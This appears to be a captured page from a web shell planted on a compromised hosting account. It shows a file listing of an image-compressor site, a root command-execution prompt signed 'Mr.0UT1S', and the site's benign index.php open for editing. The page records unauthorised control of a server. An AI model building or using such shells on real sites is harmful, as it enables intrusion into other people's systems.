home
/
aioutajg
/
public_html
/
compressor
/
Go to Home Directory
+
Upload
Create File
root@0UT1S:~$
Execute
By Order of Mr.0UT1S
[DIR] ..
N/A
[DIR] .composer_home
N/A
[DIR] assets
N/A
[DIR] parts
N/A
[DIR] vendor
N/A
....install.php
1.30 KB
Rename
Delete
autoload.php
467 bytes
Rename
Delete
composer.json
62 bytes
Rename
Delete
composer.phar
2.97 MB
Rename
Delete
compress.php
4.73 KB
Rename
Delete
download.php
834 bytes
Rename
Delete
error_log
805 bytes
Rename
Delete
index.php
4.71 KB
Rename
Delete
secure-delete.php
350 bytes
Rename
Delete
<?php // Define custom meta data for the Image Compressor page $customTitle = "Image Compressor - Reduce File Size for JPG, PNG, and More | ImgCCR"; $customDescription = "Reduce image file sizes without losing quality. Supports JPEG, PNG, and other formats. Use our secure online compressor to optimize images for web, email, or storage."; $customKeywords = "image compressor, reduce image size, compress png, compress jpg, free image compression, online image optimization"; $customCanonical = "https://imgccr.com/compressor/"; // Include reusable components include_once __DIR__ . '/../includes/head.php'; include_once __DIR__ . '/../includes/header.php'; // Check GD library availability if (!function_exists('gd_info')) { echo json_encode(['error' => 'GD Library is required.']); exit; } ?> <main class="container my-5"> <h1 class="text-center mb-4">Image Compressor - Reduce File Size for JPG, PNG, and More</h1> <p class="lead text-center mb-4"> Reduce image file sizes without losing quality. Supports JPEG, PNG, and other formats. Use our secure online compressor with CAPTCHA protection to optimize images for web, email, or storage. </p> <div class="row justify-content-center"> <div class="col-md-8"> <form id="uploadForm" action="/compressor/compress.php" method="POST" enctype="multipart/form-data" class="text-center"> <!-- Upload Container --> <div id="uploadContainer" class="border rounded p-4 mb-3 text-center" style="cursor: pointer; transition: all 0.3s ease;"> <p>Drag & Drop your images here or click to upload</p> <input type="file" name="image[]" id="fileInput" class="d-none" accept="image/*" multiple> <button type="button" id="uploadButton" class="btn btn-primary me-2">Upload Files</button> <button type="button" id="clearButton" class="btn btn-secondary d-none">Clear All</button> <div id="thumbnailsContainer" class="mt-3 d-flex flex-wrap gap-2"></div> </div> <!-- Compression Level --> <div class="mb-3"> <label for="compressionLevel" class="form-label">Compression Percentage:</label> <select name="compressionLevel" id="compressionLevel" class="form-select" required> <option value="100">100% (Original Quality)</option> <option value="75">75%</option> <option value="50" selected>50%</option> <option value="25">25%</option> </select> </div> <!-- Output Format (critical for PNG users) --> <div class="mb-3"> <label for="outputFormat" class="form-label">Output Format:</label> <select name="outputFormat" id="outputFormat" class="form-select" required> <option value="same">Same as Original</option> <option value="jpg">Convert to JPEG (Lossy)</option> </select> </div> <!-- Captcha --> <div class="mb-3"> <label for="captchaInput" class="form-label">Captcha: What is <span id="captchaQuestion"></span>?</label> <input type="text" id="captchaInput" name="captcha" class="form-control" required> <input type="hidden" id="captchaAnswer" name="captcha_answer"> </div> <!-- Compress Button --> <button type="submit" class="btn btn-success">Compress</button> </form> <!-- Progress Loader --> <div id="progressLoader" class="mt-3 d-none"> <div class="spinner-border text-primary" role="status"> <span class="visually-hidden">Loading...</span> </div> <p>Compressing images... Please wait.</p> </div> <!-- Compressed Images Section --> <div id="compressedSection" class="mt-5 d-none"> <h4>Download Compressed Images</h4> <div id="downloadLinks" class="mt-3"></div> </div> </div> </div> </main> <?php include '../compressor/parts/about.php'; include '../compressor/parts/how-to-use.php'; include '../compressor/parts/why-choose.php'; include '../compressor/parts/faqs.php'; include '../compressor/parts/cta.php'; ?> <script defer src="../compressor/assets/js/script.js"></script> <?php include_once __DIR__ . '/../includes/back-to-top.php'; include_once __DIR__ . '/../includes/footer.php'; ?>
Save